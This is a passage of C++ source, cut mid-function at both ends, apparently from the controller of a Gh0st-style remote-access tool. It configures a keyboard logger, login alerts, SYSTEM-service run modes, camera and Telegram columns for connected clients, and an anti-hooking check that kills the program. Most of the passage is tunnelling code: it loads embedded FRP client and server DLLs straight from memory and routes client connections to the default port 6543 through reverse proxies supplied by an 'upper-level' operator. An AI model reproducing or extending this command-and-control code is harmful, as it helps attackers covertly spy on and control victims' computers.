    CMenu* SubMenu = m_MainMenu.GetSubMenu(2);
    if (SubMenu) {
        SubMenu->CheckMenuItem(ID_PARAM_KBLOGGER, m_settings.EnableKBLogger ? MF_CHECKED : MF_UNCHECKED);
        m_needNotify = THIS_CFG.GetInt("settings", "LoginNotify", 0);
        SubMenu->CheckMenuItem(ID_PARAM_LOGIN_NOTIFY, m_needNotify ? MF_CHECKED : MF_UNCHECKED);
        SubMenu->CheckMenuItem(ID_PARAM_ENABLE_LOG, m_settings.EnableLog ? MF_CHECKED : MF_UNCHECKED);
        SubMenu->CheckMenuItem(ID_PARAM_FILE_V2, m_bEnableFileV2 ? MF_CHECKED : MF_UNCHECKED);

        // 互斥逻辑：三种模式 (RunNormal: 0=服务+SYSTEM, 1=普通模式, 2=服务+User)
        if (m_runNormal == 0) {
            // 服务+SYSTEM模式：勾选"守护主控程序"
            SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, MF_CHECKED);
            SubMenu->CheckMenuItem(ID_PARAM_RUN_AS_USER, MF_UNCHECKED);
        }
        else if (m_runNormal == 1) {
            // 普通模式：两个都不勾选
            SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, MF_UNCHECKED);
            SubMenu->CheckMenuItem(ID_PARAM_RUN_AS_USER, MF_UNCHECKED);
        }
        else if (m_runNormal == 2) {
            // 服务+User模式：勾选"降权运行"
            SubMenu->CheckMenuItem(ID_RUNAS_SERVICE, MF_UNCHECKED);
            SubMenu->CheckMenuItem(ID_PARAM_RUN_AS_USER, MF_CHECKED);
        }

        m_bHookWIN = THIS_CFG.GetInt("settings", "HookWIN", 0);
        SubMenu->CheckMenuItem(ID_HOOK_WIN, m_bHookWIN ? MF_CHECKED : MF_UNCHECKED);

        std::string wallpaper = THIS_CFG.GetStr("settings", "Wallpaper", "");
        m_PrivateScreenWallpaper = wallpaper.c_str();
        SubMenu->CheckMenuItem(ID_PARAM_PRIVACY_WALLPAPER, !m_PrivateScreenWallpaper.IsEmpty() ? MF_CHECKED : MF_UNCHECKED);
    }
    // 查找IP定位子菜单并设置勾选状态
    SubMenu = FindSubMenuByCommand(m_MainMenu.GetSubMenu(3), ID_LOCATION_QQWRY);
    if (SubMenu) {
        SubMenu->CheckMenuItem(ID_LOCATION_QQWRY, locType == QQWry ? MF_CHECKED : MF_UNCHECKED);
        SubMenu->CheckMenuItem(ID_LOCATION_IP2REGION, locType == Ip2Region ? MF_CHECKED : MF_UNCHECKED);
    }

    // V2 私钥状态检查
    SubMenu = m_MainMenu.GetSubMenu(1);  // 工具菜单
    if (SubMenu) {
        std::string v2Key = THIS_CFG.GetStr("settings", "V2PrivateKey", "");
        m_v2KeyPath = v2Key;
        bool v2KeyValid = !v2Key.empty() && GetFileAttributesA(v2Key.c_str()) != INVALID_FILE_ATTRIBUTES;
        SubMenu->CheckMenuItem(ID_TOOL_V2_PRIVATEKEY, v2KeyValid ? MF_CHECKED : MF_UNCHECKED);
        SubMenu->EnableMenuItem(ID_TOOL_V2_PRIVATEKEY, GetMasterHash() == GetPwdHash() ? MF_ENABLED : MF_GRAYED);
    }

    std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, std::string(_TR("摄像头"))}, {SOFTWARE_TELEGRAM,  std::string(_TR("电报")) }};
    std::string str = myMap[n];
    LVCOLUMN lvColumn;
    memset(&lvColumn, 0, sizeof(LVCOLUMN));
    lvColumn.mask = LVCF_TEXT;
    lvColumn.pszText = (char*)str.data();
    m_CList_Online.SetColumn(ONLINELIST_VIDEO, &lvColumn);
    timeBeginPeriod(1);
    if (IsFunctionReallyHooked("user32.dll","SetTimer") || IsFunctionReallyHooked("user32.dll", "KillTimer")) {
        THIS_APP->MessageBox(_TR("FUCK!!! 请勿HOOK此程序!"), _TR("提示"), MB_ICONERROR);
        ExitProcess(-1);
        return FALSE;
    }
    int tm = THIS_CFG.GetInt("settings", "Notify", 10);
    tm = min(tm, 10);
#ifdef _DEBUG
    SetTimer(TIMER_CHECK, max(1, tm) * 1000, NULL);
#else
    SetTimer(TIMER_CHECK, max(1, tm) * 60 * 1000, NULL);
#endif
    SetTimer(TIMER_HEARTBEAT_CHECK, 30 * 1000, NULL);
    SetTimer(TIMER_REFRESH_LIST, 1000, NULL);

    // 初始化状态栏统计
    m_ullStartTime = GetTickCount64();
    if (!pwd.empty()) {
        std::string expireDate = ParseExpireDateFromPasscode(pwd);
        m_strExpireDate = expireDate.c_str();
    }
    SetTimer(TIMER_STATUSBAR_UPDATE, 60 * 1000, NULL);  // 每分钟更新
    UpdateStatusBarStats();  // 立即更新一次

    UPDATE_SPLASH(85, "正在启动FRP代理...");
#ifdef _WIN64
    if (InitLocalFrpsServer()) {  // 本地 FRPS 服务器 (仅 64 位，需先于 FRPC 启动)
        Sleep(500);  // 等待 FRPS 启动完成
    }
#endif
    InitFrpClients();
    InitFrpcAuto();  // FRP 自动代理（由上级提供配置）

    UPDATE_SPLASH(90, "正在启动网络服务...");
    // 最后启动SOCKET
    if (!Activate(nPort, m_nMaxConnection, method)) {
        CloseSplash();
        OnCancel();
        return FALSE;
    }

    UPDATE_SPLASH(100, "启动完成!");
    CloseSplash();
    Mprintf("主控程序启动完成: PwdHash= %s HMAC= %s. UpperHash= %s\n", GetPwdHash().c_str(), GetHMAC().c_str(), GetUpperHash().c_str());

    // 延迟初始化状态栏（等待窗口完全显示后再设置分区宽度）
    SetTimer(TIMER_STATUSBAR_INIT, 100, NULL);

    return TRUE;  // 除非将焦点设置到控件，否则返回 TRUE
}

// FRP 线程参数
struct FrpThreadParam {
    CMy2015RemoteDlg* dlg;
    int index;
};

DWORD WINAPI CMy2015RemoteDlg::StartFrpClient(LPVOID param)
{
    FrpThreadParam* p = (FrpThreadParam*)param;
    CMy2015RemoteDlg* This = p->dlg;
    int idx = p->index;
    delete p;

    if (idx < 0 || idx >= (int)This->m_frpInstances.size()) {
        Mprintf("[FRP-%d] Invalid instance index\n", idx);
        return -1;
    }

    auto& inst = This->m_frpInstances[idx];

    // 生成配置文件路径 (index=0 使用 frpc.ini 保持兼容)
    std::string cfgPath = GetFrpSettingsPath();
    if (idx > 0) {
        if (cfgPath.size() > 4 && cfgPath.substr(cfgPath.size() - 4) == ".ini") {
            cfgPath = cfgPath.substr(0, cfgPath.size() - 4);
        }
        cfgPath += "." + std::to_string(idx) + ".ini";
    }

    Mprintf("[FRP-%d] Config: %s, Server: %s\n", idx, cfgPath.c_str(), inst.serverAddr.c_str());

    if (This->m_frpRun == nullptr) {
        Mprintf("[FRP-%d] m_frpRun is null\n", idx);
        return -1;
    }

    Mprintf("[FRP-%d] Calling m_frpRun...\n", idx);
    int n = 0;
    do {
        inst.status = STATUS_RUN;
        n = This->m_frpRun((char*)cfgPath.c_str(), &inst.status);
        if (n) {
            Mprintf("[FRP-%d] Connection failed: %d\n", idx, n);
            WAIT_n(!This->isClosed, 10, 1000);
            if (This->isClosed) break;
        }
    } while (n);

    inst.hThread = NULL;
    Mprintf("[FRP-%d] Thread stopped\n", idx);

    return n;
}

// 检测当前系统是否支持 FRP 功能
// 返回: true=支持, false=不支持
// logPrefix: 日志前缀（如 "[FRP]" 或 "[FRP-Auto]"），为空则不打印日志
static bool IsFrpSupported(const char* logPrefix = nullptr)
{
#ifndef _WIN64
    if (logPrefix) {
        Mprintf("%s 32位版本不支持 FRP 功能\n", logPrefix);
    }
    return false;
#endif

    // 检测 Windows 版本，frpc.dll 使用 Go 1.21+ 编译，需要 Windows 10 或更高版本
    // 使用 RtlGetVersion 获取真实版本号（不受 manifest 影响）
    typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW);
    RTL_OSVERSIONINFOW osvi = { sizeof(osvi) };
    HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
    if (hNtdll) {
        RtlGetVersionPtr pRtlGetVersion = (RtlGetVersionPtr)GetProcAddress(hNtdll, "RtlGetVersion");
        if (pRtlGetVersion) pRtlGetVersion(&osvi);
    }

    if (osvi.dwMajorVersion < 10) {
        if (logPrefix) {
            Mprintf("%s 当前系统版本 %d.%d，低于 Windows 10，不支持 FRP 功能\n",
                    logPrefix, osvi.dwMajorVersion, osvi.dwMinorVersion);
        }
        return false;
    }

    return true;
}

void CMy2015RemoteDlg::InitFrpClients()
{
    // 显示初始化消息
#ifdef _WIN64
    int usingFRP = THIS_CFG.GetInt("frp", "UseFrp");
#else
    int usingFRP = 0;
#endif

    // 检查是否有上级配置的 FRP
    std::string frpConfigStr = THIS_CFG.GetStr("settings", "FrpConfig", "");
    std::string frpAutoServer = THIS_CFG.GetStr("frp_auto", "server", "");
    int frpAutoPort = THIS_CFG.GetInt("frp_auto", "remotePort", 0);
    bool hasUpperFrp = !frpConfigStr.empty() || (!frpAutoServer.empty() && frpAutoPort > 0);
    std::string ip = THIS_CFG.GetStr("settings", "master", "");

    CString tip;
    if (hasUpperFrp) {
        // 使用上级配置的 FRP，无需关心公网 IP
        tip = _L("使用上级配置的FRP代理");
    } else {
        std::string firstIP = GetFirstMasterIP(ip);
        tip = !ip.empty() && firstIP != m_IPConverter->getPublicIP() ?
            CString(ip.c_str()) + _L(" 必须是\"公网IP\"或反向代理服务器IP") :
            _L("请设置\"公网IP\"，或使用反向代理服务器的IP");
        tip += usingFRP ? _TR("[使用FRP]") : _TR("[未使用FRP]");
    }
    CharMsg* msg = new CharMsg(tip);
    PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);

    auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang");
    langDir = langDir.empty() ? "./lang" : langDir;
    if (!PathFileExists(langDir.c_str())) {
        CharMsg* msg = new CharMsg(_TR("请通过\"扩展\"菜单指定语言包目录以支持多语言"));
        PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
    }
    if (!m_HasLocDB) {
        CharMsg* msg = new CharMsg(_TR("请将IP数据库文件放于当前程序目录"));
        PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
    }

    if (!m_superPass.empty() && GetUpperHash() == GetPwdHash()) {
        // 检查 V2 私钥配置
        std::string v2KeyPath = m_v2KeyPath;
        if (v2KeyPath.empty()) {
            CharMsg* msg = new CharMsg(_TR("V2私钥未配置，请通过\"工具→V2私钥设置\"菜单选择私钥文件"));
            PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
        }
        else if (GetFileAttributesA(v2KeyPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
            std::string tip = std::string(_TR("V2私钥文件不存在: ")) + v2KeyPath;
            CharMsg* msg = new CharMsg(tip.c_str());
            PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
        }
    }

    usingFRP = ip.empty() ? 0 : usingFRP;
    if (!usingFRP) return;

    // 检测系统是否支持 FRP（64位 + Windows 10+）
    if (!IsFrpSupported("[FRP]")) {
        CharMsg* msg = new CharMsg(_TR("FRP 功能需要 64 位 Windows 10 或更高版本"));
        PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
        return;
    }

    // 加载 FRP DLL（只加载一次）
    DWORD size = 0;
    LPBYTE frpcData = ReadResource(IDR_BINARY_FRPC, size);
    if (frpcData == nullptr) {
        Mprintf("[FRP] Failed to read FRP DLL\n");
        return;
    }
    m_hFrpDll = MemoryLoadLibrary(frpcData, size);
    SAFE_DELETE_ARRAY(frpcData);
    if (m_hFrpDll == NULL) {
        Mprintf("[FRP] Failed to load FRP DLL\n");
        return;
    }
    m_frpRun = (FrpRunFunc)MemoryGetProcAddress(m_hFrpDll, "Run");
    if (!m_frpRun) {
        Mprintf("[FRP] Failed to get FRP function\n");
        return;
    }

    // 解析多个服务端地址
    auto servers = StringToVector(ip, ';');
    Mprintf("[FRP] Starting %d connections\n", (int)servers.size());

    // 先添加所有实例（避免 vector 重新分配导致的竞争问题）
    m_frpInstances.reserve(servers.size());
    for (size_t i = 0; i < servers.size(); ++i) {
        FrpInstance inst;
        inst.serverAddr = servers[i];
        inst.status = STATUS_RUN;
        m_frpInstances.push_back(inst);
    }

    // 再创建所有线程
    for (size_t i = 0; i < m_frpInstances.size(); ++i) {
        FrpThreadParam* param = new FrpThreadParam{ this, (int)i };
        m_frpInstances[i].hThread = CreateThread(NULL, 0, StartFrpClient, param, 0, NULL);
    }
}

void CMy2015RemoteDlg::StopAllFrpClients()
{
    if (m_frpInstances.empty()) {
        Mprintf("[FRP] No instances to stop\n");
        return;
    }

    // 通知所有实例退出
    for (size_t i = 0; i < m_frpInstances.size(); ++i) {
        m_frpInstances[i].status = STATUS_EXIT;
    }

    // 等待所有线程结束
    for (size_t i = 0; i < m_frpInstances.size(); ++i) {
        while (m_frpInstances[i].hThread) {
            Sleep(20);
        }
    }

    m_frpInstances.clear();
    Mprintf("[FRP] All connections stopped\n");
    // 注意：不释放 m_hFrpDll，会导致崩溃
}

//////////////////////////////////////////////////////////////////////////
// 本地 FRPS 服务器 (仅 64 位支持)
//////////////////////////////////////////////////////////////////////////

#ifdef _WIN64
bool CMy2015RemoteDlg::InitLocalFrpsServer()
{
    // 检查是否启用本地 FRPS
    FrpsConfig config = CFrpsForSubDlg::GetFrpsConfig();
    if (!config.enabled || !config.localFrps) {
        Mprintf("[FRPS] Local FRPS not enabled\n");
        return false;
    }

    // 检测系统是否支持 FRPS（64位 + Windows 10+）
    if (!IsFrpSupported("[FRPS]")) {
        CharMsg* msg = new CharMsg(_TR("FRP 功能需要 64 位 Windows 10 或更高版本"));
        PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL);
        return false;
    }

    if (config.token.empty() || config.port <= 0) {
        Mprintf("[FRPS] Invalid config: token empty or port invalid\n");
        return false;
    }

    // 加载 FRPS DLL
    DWORD size = 0;
    LPBYTE frpsData = ReadResource(IDR_BINARY_FRPS, size);
    if (frpsData == nullptr) {
        Mprintf("[FRPS] Failed to read FRPS DLL from resource\n");
        return false;
    }

    m_hFrpsDll = MemoryLoadLibrary(frpsData, size);
    SAFE_DELETE_ARRAY(frpsData);
    if (m_hFrpsDll == NULL) {
        Mprintf("[FRPS] Failed to load FRPS DLL\n");
        return false;
    }

    m_frpsRunSimpleWithToken = (FrpsRunSimpleWithTokenFunc)MemoryGetProcAddress(m_hFrpsDll, "RunSimpleWithToken");
    if (!m_frpsRunSimpleWithToken) {
        Mprintf("[FRPS] Failed to get RunSimpleWithToken function\n");
        // 注意：不释放 Go DLL，运行时已启动，释放会崩溃
        return false;
    }

    // 启动 FRPS 服务器线程
    m_frpsStatus = STATUS_RUN;
    m_hFrpsThread = CreateThread(NULL, 0, StartLocalFrpsServer, this, 0, NULL);
    if (m_hFrpsThread == NULL) {
        Mprintf("[FRPS] Failed to create FRPS thread\n");
        m_frpsStatus = STATUS_UNKNOWN;
        // 注意：不释放 Go DLL，会导致崩溃
        return false;
    }

    Mprintf("[FRPS] Local FRPS server starting on port %d\n", config.port);

    return true;
}

DWORD WINAPI CMy2015RemoteDlg::StartLocalFrpsServer(LPVOID param)
{
    CMy2015RemoteDlg* pThis = (CMy2015RemoteDlg*)param;
    if (!pThis || !pThis->m_frpsRunSimpleWithToken) return 1;

    FrpsConfig config = CFrpsForSubDlg::GetFrpsConfig();

    // 调用 RunSimpleWithToken(token, bindPort, logFile, logLevel, logMaxDays, statusPtr)
    // 传 NULL 表示使用默认值 (./frps.log, info, 60)
    int result = pThis->m_frpsRunSimpleWithToken(
        (char*)config.token.c_str(),
        config.port,
        NULL,  // logFile: 使用默认值 ./frps.log
        NULL,  // logLevel: 使用默认值 info
        0,     // logMaxDays: 使用默认值 60
        &pThis->m_frpsStatus
    );

    Mprintf("[FRPS] Server stopped with result: %d\n", result);
    pThis->m_hFrpsThread = NULL;
    return result;
}

void CMy2015RemoteDlg::StopLocalFrpsServer()
{
    if (m_hFrpsThread == NULL) {
        return;
    }

    Mprintf("[FRPS] Stopping local FRPS server...\n");
    m_frpsStatus = STATUS_EXIT;

    // 等待线程结束（轮询方式，与 FRPC 保持一致）
    while (m_hFrpsThread) {
        Sleep(20);
    }

    // 注意：不释放 m_hFrpsDll，会导致崩溃
    Mprintf("[FRPS] Local FRPS server stopped\n");
}
#endif

//////////////////////////////////////////////////////////////////////////
// FRP 自动代理（由上级提供配置）
//////////////////////////////////////////////////////////////////////////

// 解析 FRP 自动代理配置
// 输入格式: serverAddr:serverPort-remotePort-expireDate-privilegeKey
// 示例: frp.example.com:7000-20080-20260323-a1b2c3d4... (自定义FRP: 32字符 privilegeKey)
// 示例: frp.example.com:7000-20080-20260323-ENC:xxx     (官方FRP: 编码的 token)
CMy2015RemoteDlg::FrpAutoConfig CMy2015RemoteDlg::ParseFrpAutoConfig(const std::string& config, bool heartbeat)
{
    FrpAutoConfig cfg;
    if (config.empty()) return cfg;

    // 格式: serverAddr:serverPort-remotePort-expireDate-authValue
    // authValue 可以是:
    //   - 32字符十六进制: 自定义 FRP 模式 (privilegeKey = MD5(token + timestamp))
    //   - ENC:xxx: 官方 FRP 模式 (编码的 token)
    // 注意：域名可能包含 '-'，所以需要从后往前解析

    // 从最后一个 '-' 提取 authValue
    size_t lastDash = config.rfind('-');
    if (lastDash == std::string::npos || lastDash == 0) {
        Mprintf("[FRP-Auto] 配置格式错误（缺少authValue分隔符）: %s\n", config.c_str());
        return cfg;
    }
    cfg.privilegeKey = config.substr(lastDash + 1);

    // 检测是否为编码的 token (官方 FRP 模式)
    cfg.isEncodedToken = (cfg.privilegeKey.length() >= 4 && cfg.privilegeKey.substr(0, 4) == "ENC:");

    // 验证 authValue 格式
    if (!cfg.isEncodedToken && cfg.privilegeKey.length() != 32) {
        Mprintf("[FRP-Auto] privilegeKey 长度错误 (期望32, 实际%d): %s\n",
                (int)cfg.privilegeKey.length(), cfg.privilegeKey.c_str());
        return cfg;
    }

    // 继续解析剩余部分: serverAddr:serverPort-remotePort-expireDate
    std::string remaining = config.substr(0, lastDash);

    // 从剩余部分提取 expireDate（最后8字符）
    size_t expireDash = remaining.rfind('-');
    if (expireDash == std::string::npos || expireDash == 0) {
        Mprintf("[FRP-Auto] 配置格式错误（缺少expireDate分隔符）: %s\n", config.c_str());
        return cfg;
    }
    cfg.expireDate = remaining.substr(expireDash + 1);
    if (cfg.expireDate.length() != 8) {
        Mprintf("[FRP-Auto] expireDate 格式错误: %s\n", cfg.expireDate.c_str());
        return cfg;
    }

    // 继续解析: serverAddr:serverPort-remotePort
    remaining = remaining.substr(0, expireDash);

    // 提取 remotePort
    size_t portDash = remaining.rfind('-');
    if (portDash == std::string::npos || portDash == 0) {
        Mprintf("[FRP-Auto] 配置格式错误（缺少remotePort分隔符）: %s\n", config.c_str());
        return cfg;
    }
    std::string remotePortStr = remaining.substr(portDash + 1);

    // 提取 serverAddr:serverPort
    std::string addrPort = remaining.substr(0, portDash);

    // 解析 serverAddr:serverPort（使用 rfind 支持域名和 IPv6）
    size_t colonPos = addrPort.rfind(':');
    if (colonPos == std::string::npos) {
        Mprintf("[FRP-Auto] 地址格式错误: %s\n", addrPort.c_str());
        return cfg;
    }

    cfg.serverAddr = addrPort.substr(0, colonPos);
    try {
        cfg.serverPort = std::stoi(addrPort.substr(colonPos + 1));
        cfg.remotePort = std::stoi(remotePortStr);
    } catch (...) {
        Mprintf("[FRP-Auto] 端口解析错误\n");
        return cfg;
    }

    cfg.enabled = !cfg.serverAddr.empty() &&
                  cfg.remotePort > 0 &&
                  !cfg.privilegeKey.empty();

    if (!cfg.enabled) {
        Mprintf("[FRP-Auto] 配置无效: server=%s, remotePort=%d\n",
                cfg.serverAddr.c_str(), cfg.remotePort);
    } else {
        if(!heartbeat) 
            Mprintf("[FRP-Auto] 配置解析成功: server=%s:%d, remotePort=%d, mode=%s\n",
                cfg.serverAddr.c_str(), cfg.serverPort, cfg.remotePort,
                cfg.isEncodedToken ? "官方FRP(token)" : "自定义FRP(privilegeKey)");
    }

    return cfg;
}

// 获取有效的主控地址（优先使用上级FRP配置）
// 返回值：是否使用了FRP地址
bool CMy2015RemoteDlg::GetEffectiveMasterAddress(std::string& outIP, int& outPort, bool heartbeat)
{
    // 默认使用本地配置
    outIP = THIS_CFG.GetStr("settings", "master", "");
    outPort = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);
    if (outPort <= 0) outPort = 6543;

    // 检查是否有上级 FRP 配置
    std::string frpConfigStr = THIS_CFG.GetStr("settings", "FrpConfig", "");
    if (!frpConfigStr.empty()) {
        FrpAutoConfig frpCfg = ParseFrpAutoConfig(frpConfigStr, heartbeat);
        if (frpCfg.enabled && frpCfg.remotePort > 0) {
            outIP = frpCfg.serverAddr;
            outPort = frpCfg.remotePort;
            return true;  // 使用了 FRP 地址
        }
    }
    return false;  // 使用本地配置
}

// 日期字符串转 Unix 时间戳（当天 23:59:59）
// 输入: "20260323" -> 输出: 1774329599 (2026-03-23 23:59:59 UTC)
static time_t DateToTimestamp(const std::string& dateStr)
{
    if (dateStr.length() != 8) return 0;
    try {
        struct tm t = {0};
        t.tm_year = std::stoi(dateStr.substr(0, 4)) - 1900;
        t.tm_mon = std::stoi(dateStr.substr(4, 2)) - 1;
        t.tm_mday = std::stoi(dateStr.substr(6, 2));
        t.tm_hour = 23; t.tm_min = 59; t.tm_sec = 59;
        return mktime(&t);
    } catch (...) {
        return 0;
    }
}

// FRP 自动代理线程函数
// 自定义 FRP: 使用 RunSimpleTcp (privilegeKey + timestamp)
typedef int (*FrpRunSimpleTcpFunc)(
    const char* privilegeKey,
    long timestamp,
    const char* serverAddr,
    int serverPort,
    int localPort,
    int remotePort,
    int* statusPtr
);

// 官方 FRP: 使用 RunSimpleTcpWithToken (token only)
typedef int (*FrpRunSimpleTcpWithTokenFunc)(
    const char* token,
    const char* serverAddr,
    int serverPort,
    int localPort,
    int remotePort,
    int* statusPtr
);

static DWORD WINAPI FrpcAutoThreadProc(LPVOID param)
{
    CMy2015RemoteDlg* pDlg = (CMy2015RemoteDlg*)param;
    auto& cfg = pDlg->m_frpAutoConfig;

    // 获取本地监听端口（ghost 可能是分号分割的多端口，取第一个）
    int localPort = THIS_CFG.Get1Int("settings", "ghost", ';', 6543);

    Mprintf("[FRP-Auto] 线程启动: %s:%d -> localhost:%d -> frps:%d (有效期至 %s, 模式: %s)\n",
            cfg.serverAddr.c_str(), cfg.serverPort, localPort, cfg.remotePort,
            cfg.expireDate.c_str(), cfg.isEncodedToken ? "官方FRP" : "自定义FRP");

    pDlg->m_frpAutoStatus = CMy2015RemoteDlg::STATUS_RUN;
    int result = 1;

    if (cfg.isEncodedToken) {
        // 官方 FRP 模式: 解码 token 并使用 RunSimpleTcpWithToken
        std::string token = DecodeFrpToken(cfg.privilegeKey);
        if (token.empty()) {
            Mprintf("[FRP-Auto] Token 解码失败\n");
            pDlg->m_frpAutoStatus = CMy2015RemoteDlg::STATUS_STOP;
            pDlg->m_hFrpAutoThread = NULL;
            return 1;
        }

        FrpRunSimpleTcpWithTokenFunc RunSimpleTcpWithToken = pDlg->m_hFrpDll ?
            (FrpRunSimpleTcpWithTokenFunc)MemoryGetProcAddress(pDlg->m_hFrpDll, "RunSimpleTcpWithToken") : nullptr;

        if (!RunSimpleTcpWithToken) {
            Mprintf("[FRP-Auto] 获取 RunSimpleTcpWithToken 函数失败\n");
            pDlg->m_frpAutoStatus = CMy2015RemoteDlg::STATUS_STOP;
            pDlg->m_hFrpAutoThread = NULL;
            return 1;
        }

        result = RunSimpleTcpWithToken(
            token.c_str(),
            cfg.serverAddr.c_str(),
            cfg.serverPort,
            localPort,
            cfg.remotePort,
            &pDlg->m_frpAutoStatus
        );
    } else {
        // 自定义 FRP 模式: 使用 RunSimpleTcp (privilegeKey + timestamp)
        time_t timestamp = DateToTimestamp(cfg.expireDate);

        Mprintf("[FRP-Auto] 自定义模式参数: privilegeKey=%s, timestamp=%lld, expireDate=%s\n",
                cfg.privilegeKey.c_str(), (long long)timestamp, cfg.expireDate.c_str());

        FrpRunSimpleTcpFunc RunSimpleTcp = pDlg->m_hFrpDll ?
            (FrpRunSimpleTcpFunc)MemoryGetProcAddress(pDlg->m_hFrpDll, "RunSimpleTcp") : nullptr;

        if (!RunSimpleTcp) {
            Mprintf("[FRP-Auto] 获取 RunSimpleTcp 函数失败\n");
            pDlg->m_frpAutoStatus = CMy2015RemoteDlg::STATUS_STOP;
            pDlg->m_hFrpAutoThread = NULL;
            return 1;
        }

        result = RunSimpleTcp(
            cfg.privilegeKey.c_str(),
            (long)timestamp,
            cfg.serverAddr.c_str(),
            cfg.serverPort,
            localPort,
            cfg.remotePort,
            &pDlg->m_frpAutoStatus
        );
    }

    if (result != 0) {
        Mprintf("[FRP-Auto] 连接失败，错误码: %d\n", result);
    }

    pDlg->m_frpAutoStatus = CMy2015RemoteDlg::STATUS_STOP;
    pDlg->m_hFrpAutoThread = NULL;
    return result;
}

// 启动 FRP 自动代理
void CMy2015RemoteDlg::StartFrpcAuto(const FrpAutoConfig& cfg)
{
    if (!cfg.enabled) {
        Mprintf("[FRP-Auto] 配置无效，不启动\n");
        return;
    }

    // 检测系统是否支持 FRP（64位 + Windows 10+）
    if (!IsFrpSupported("[FRP-Auto]")) {
        return;
    }

    // 加载 FRP DLL（复用现有的 m_hFrpDll，如果还没加载则加载）
    if (!m_hFrpDll) {
        DWORD size = 0;
        LPBYTE frpcData = ReadResource(IDR_BINARY_FRPC, size);
        if (frpcData == nullptr) {
            Mprintf("[FRP-Auto] 读取 FRP DLL 资源失败\n");
            return;
        }
        m_hFrpDll = MemoryLoadLibrary(frpcData, size);
        SAFE_DELETE_ARRAY(frpcData);
        if (m_hFrpDll == NULL) {
            Mprintf("[FRP-Auto] 加载 FRP DLL 失败\n");
            return;
        }
    }

    // 保存配置
    m_frpAutoConfig = cfg;

    // 保存到配置文件（用于下次启动自动恢复）
    THIS_CFG.SetStr("frp_auto", "server", cfg.serverAddr);
    THIS_CFG.SetInt("frp_auto", "serverPort", cfg.serverPort);
    THIS_CFG.SetInt("frp_auto", "remotePort", cfg.remotePort);
    THIS_CFG.SetStr("frp_auto", "privilegeKey", cfg.privilegeKey);
    THIS_CFG.SetStr("frp_auto", "expireDate", cfg.expireDate);

    // 启动线程
    m_frpAutoStatus = STATUS_UNKNOWN;
    m_hFrpAutoThread = CreateThread(NULL, 0, FrpcAutoThreadProc, this, 0, NULL);

    // 设置状态栏显示的 FRP 地址 (IP:Port)
    m_strFrpAddr.Format(_T("%hs:%d"), cfg.serverAddr.c_str(), cfg.remotePort);
    // 直接更新状态栏 FRP 分区（不触发 OnSize 避免循环）
    if (m_StatusBar.GetSafeHwnd()) {
        m_StatusBar.SetPaneInfo(1, m_StatusBar.GetItemID(1), SBPS_NORMAL, 250);
        m_StatusBar.SetPaneText(1, m_strFrpAddr);
    }

    Mprintf("[FRP-Auto] 启动自动代理: %s:%d -> frps:%d\n",
            cfg.serverAddr.c_str(), cfg.serverPort, cfg.remotePort);
}

// 停止 FRP 自动代理
void CMy2015RemoteDlg::StopFrpcAuto()
{
    if (m_hFrpAutoThread == NULL) return;

    Mprintf("[FRP-Auto] 正在停止...\n");
    m_frpAutoStatus = STATUS_EXIT;

    // 等待线程结束（最多等待 5 秒）
    DWORD waitResult = WaitForSingleObject(m_hFrpAutoThread, 5000);
    if (waitResult == WAIT_TIMEOUT) {
        Mprintf("[FRP-Auto] 等待超时，强制终止\n");
        TerminateThread(m_hFrpAutoThread, 0);
    }

    m_hFrpAutoThread = NULL;
    m_frpAutoStatus = STATUS_STOP;

    // 清除状态栏 FRP 地址
    m_strFrpAddr.Empty();
    // 直接更新状态栏 FRP 分区（不触发 OnSize 避免循环）
    if (m_StatusBar.GetSafeHwnd()) {
        m_StatusBar.SetPaneInfo(1, m_StatusBar.GetItemID(1), SBPS_NORMAL, 0);
        m_StatusBar.SetPaneText(1, _T(""));
    }

    Mprintf("[FRP-Auto] 已停止\n");
}

// 启动时自动恢复 FRP 自动代理
void CMy2015RemoteDlg::InitFrpcAuto()
{
    // 从配置文件读取 FRP 自动代理配置
    std::string frpConfigStr = THIS_CFG.GetStr("settings", "FrpConfig", "");

    // 如果 [settings] FrpConfig 不为空，解析并更新 [frp_auto] 节
    if (!frpConfigStr.empty()) {
        FrpAutoConfig cfg = ParseFrpAutoConfig(frpConfigStr);
        if (cfg.enabled) {
            Mprintf("[FRP-Auto] 从 FrpConfig 解析配置: %s:%d -> %d\n",
                    cfg.serverAddr.c_str(), cfg.serverPort, cfg.remotePort);
            StartFrpcAuto(cfg);
            return;
        }
    }

    // 如果没有 FrpConfig，尝试从 [frp_auto] 节读取（兼容旧配置）
    std::string server = THIS_CFG.GetStr("frp_auto", "server", "");
    if (server.empty()) return;

    FrpAutoConfig cfg;
    cfg.enabled = true;
    cfg.serverAddr = server;
    cfg.serverPort = THIS_CFG.GetInt("frp_auto", "serverPort", 7000);
    cfg.remotePort = THIS_CFG.GetInt("frp_auto", "remotePort", 0);
    cfg.privilegeKey = THIS_CFG.GetStr("frp_auto", "privilegeKey", "");
    cfg.expireDate = THIS_CFG.GetStr("frp_auto", "expireDate", "");

    if (cfg.remotePort > 0 && !cfg.privilegeKey.empty()) {
        Mprintf("[FRP-Auto] 从配置文件恢复: %s:%d -> %d\n",
                cfg.serverAddr.c_str(), cfg.serverPort, cfg.remotePort);
        StartFrpcAuto(cfg);
    }
}

//////////////////////////////////////////////////////////////////////////

void CMy2015RemoteDlg::ApplyFrpSettings()
{
    auto master = THIS_CFG.GetStr("settings", "master");
    if (master.empty()) return;

    auto servers = StringToVector(master, ';');
    std::string basePath = GetFrpSettingsPath();  // frpc.ini
    std::string baseNoExt = basePath;

    // 移除 .ini 扩展名，用于生成 frpc.1.ini, frpc.2.ini ...
    if (baseNoExt.size() > 4 && baseNoExt.substr(baseNoExt.size() - 4) == ".ini") {
